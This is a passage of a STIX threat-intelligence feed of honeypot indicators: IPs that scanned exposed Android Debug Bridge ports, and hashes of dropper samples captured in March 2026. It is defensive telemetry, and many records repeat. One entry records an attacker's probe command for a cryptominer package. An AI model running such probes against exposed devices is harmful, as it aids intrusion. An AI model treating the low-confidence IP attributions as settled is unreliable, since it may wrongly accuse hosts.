      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-07T15:47:27.000Z | last_seen=2026-03-17T15:48:12.804Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--3d1d9249-3bf9-4c49-b502-f68c18e7f55b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.255.223.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:00:02.000Z",
      "valid_until": "2026-04-08T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-07T15:47:27.000Z",
          "last_seen": "2026-03-17T15:48:12.804Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T16:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/417c5bfab4f7820c550474f1cbe73bcfdfa1f230588cb7bb10a42dfb63fb417a.raw; last_seen=2026-03-07T15:19:22.935Z",
      "id": "indicator--bdea16f6-611f-4ba0-b5c0-15b404c70405",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '417c5bfab4f7820c550474f1cbe73bcfdfa1f230588cb7bb10a42dfb63fb417a']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-07T15:47:27.000Z | last_seen=2026-03-17T15:48:12.804Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--3d1d9249-3bf9-4c49-b502-f68c18e7f55b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.255.223.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:00:03.000Z",
      "valid_until": "2026-04-08T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-07T15:47:27.000Z",
          "last_seen": "2026-03-17T15:48:12.804Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T16:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/417c5bfab4f7820c550474f1cbe73bcfdfa1f230588cb7bb10a42dfb63fb417a.raw; last_seen=2026-03-07T15:19:22.935Z",
      "id": "indicator--bdea16f6-611f-4ba0-b5c0-15b404c70405",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '417c5bfab4f7820c550474f1cbe73bcfdfa1f230588cb7bb10a42dfb63fb417a']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T16:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=1; ports=5555; cc=HK; asn=23470; asn_org=ReliableSite.Net LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=1 | first_seen=2026-03-07T16:57:47.701Z | last_seen=2026-03-07T16:57:47.701Z | ports=5555 | cc=HK | asn=23470 | org=ReliableSite.Net LLC",
      "id": "indicator--b8ce32ac-dfec-49eb-a4d6-1c075f786ffe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.110.223.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:00:02.000Z",
      "valid_until": "2026-04-08T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 1,
          "first_seen": "2026-03-07T16:57:47.701Z",
          "last_seen": "2026-03-07T16:57:47.701Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "23470"
          ],
          "org": [
            "ReliableSite.Net LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=1; ports=5555; cc=HK; asn=23470; asn_org=ReliableSite.Net LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=1 | first_seen=2026-03-07T16:57:47.701Z | last_seen=2026-03-07T16:57:47.701Z | ports=5555 | cc=HK | asn=23470 | org=ReliableSite.Net LLC",
      "id": "indicator--b8ce32ac-dfec-49eb-a4d6-1c075f786ffe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.110.223.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T17:00:02.000Z",
      "valid_until": "2026-04-08T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 1,
          "first_seen": "2026-03-07T16:57:47.701Z",
          "last_seen": "2026-03-07T16:57:47.701Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "23470"
          ],
          "org": [
            "ReliableSite.Net LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=37; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"pm path com.ufo.miner\"\n\nObserved in ADBHoney telemetry for 2026-03. events=37 | first_seen=2026-03-07T17:09:44.000Z | last_seen=2026-03-07T17:24:53.083Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
      "id": "indicator--7ea7f6e6-a579-4feb-ba8e-78a55c1fc66f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '14.21.40.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T18:00:02.000Z",
      "valid_until": "2026-04-08T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 37,
          "first_seen": "2026-03-07T17:09:44.000Z",
          "last_seen": "2026-03-07T17:24:53.083Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=TR; asn=202561; asn_org=High Speed Telekomunikasyon ve Hab. Hiz. Ltd. Sti.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=12 | first_seen=2026-03-07T17:34:37.000Z | last_seen=2026-03-07T17:44:39.524Z | ports=5555 | cc=TR | asn=202561 | org=High Speed Telekomunikasyon ve Hab. Hiz. Ltd. Sti.",
      "id": "indicator--4b5357d5-7fe9-4243-8542-3fa38a074791",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '38.156.73.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T18:00:02.000Z",
      "valid_until": "2026-04-08T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 12,
          "first_seen": "2026-03-07T17:34:37.000Z",
          "last_seen": "2026-03-07T17:44:39.524Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TR"
          ],
          "asn": [
            "202561"
          ],
          "org": [
            "High Speed Telekomunikasyon ve Hab. Hiz. Ltd. Sti."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T18:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=37; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"pm path com.ufo.miner\"\n\nObserved in ADBHoney telemetry for 2026-03. events=37 | first_seen=2026-03-07T17:09:44.000Z | last_seen=2026-03-07T17:24:53.083Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
      "id": "indicator--7ea7f6e6-a579-4feb-ba8e-78a55c1fc66f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '14.21.40.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T18:00:04.000Z",
      "valid_until": "2026-04-08T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 37,
          "first_seen": "2026-03-07T17:09:44.000Z",
          "last_seen": "2026-03-07T17:24:53.083Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T18:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=TR; asn=202561; asn_org=High Speed Telekomunikasyon ve Hab. Hiz. Ltd. Sti.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=12 | first_seen=2026-03-07T17:34:37.000Z | last_seen=2026-03-07T17:44:39.524Z | ports=5555 | cc=TR | asn=202561 | org=High Speed Telekomunikasyon ve Hab. Hiz. Ltd. Sti.",
      "id": "indicator--4b5357d5-7fe9-4243-8542-3fa38a074791",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '38.156.73.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T18:00:04.000Z",
      "valid_until": "2026-04-08T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 12,
          "first_seen": "2026-03-07T17:34:37.000Z",
          "last_seen": "2026-03-07T17:44:39.524Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TR"
          ],
          "asn": [
            "202561"
          ],
          "org": [
            "High Speed Telekomunikasyon ve Hab. Hiz. Ltd. Sti."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=69 | first_seen=2026-03-07T19:24:24.000Z | last_seen=2026-03-11T20:32:33.432Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--df7b989f-6927-4260-b0b3-230196ca09dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T20:00:02.000Z",
      "valid_until": "2026-04-08T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 69,
          "first_seen": "2026-03-07T19:24:24.000Z",
          "last_seen": "2026-03-11T20:32:33.432Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=69 | first_seen=2026-03-07T19:24:24.000Z | last_seen=2026-03-11T20:32:33.432Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--df7b989f-6927-4260-b0b3-230196ca09dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T20:00:03.000Z",
      "valid_until": "2026-04-08T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 69,
          "first_seen": "2026-03-07T19:24:24.000Z",
          "last_seen": "2026-03-11T20:32:33.432Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-07T20:44:48.000Z | last_seen=2026-03-07T20:45:54.486Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--379b7257-8460-4140-b7ee-dbf1374bb1fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '42.102.227.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T21:00:02.000Z",
      "valid_until": "2026-04-08T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-07T20:44:48.000Z",
          "last_seen": "2026-03-07T20:45:54.486Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=HK; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=41 | first_seen=2026-03-07T20:33:24.000Z | last_seen=2026-03-09T09:33:40.815Z | ports=5555 | cc=HK | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--431688ca-21b6-44a0-b979-f4bda5064575",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.243.91.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T21:00:02.000Z",
      "valid_until": "2026-04-08T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 41,
          "first_seen": "2026-03-07T20:33:24.000Z",
          "last_seen": "2026-03-09T09:33:40.815Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-07T20:44:48.000Z | last_seen=2026-03-07T20:45:54.486Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--379b7257-8460-4140-b7ee-dbf1374bb1fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '42.102.227.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T21:00:02.000Z",
      "valid_until": "2026-04-08T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-07T20:44:48.000Z",
          "last_seen": "2026-03-07T20:45:54.486Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=HK; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=41 | first_seen=2026-03-07T20:33:24.000Z | last_seen=2026-03-09T09:33:40.815Z | ports=5555 | cc=HK | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--431688ca-21b6-44a0-b979-f4bda5064575",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.243.91.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T21:00:02.000Z",
      "valid_until": "2026-04-08T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 41,
          "first_seen": "2026-03-07T20:33:24.000Z",
          "last_seen": "2026-03-09T09:33:40.815Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-07T22:00:03.000Z",
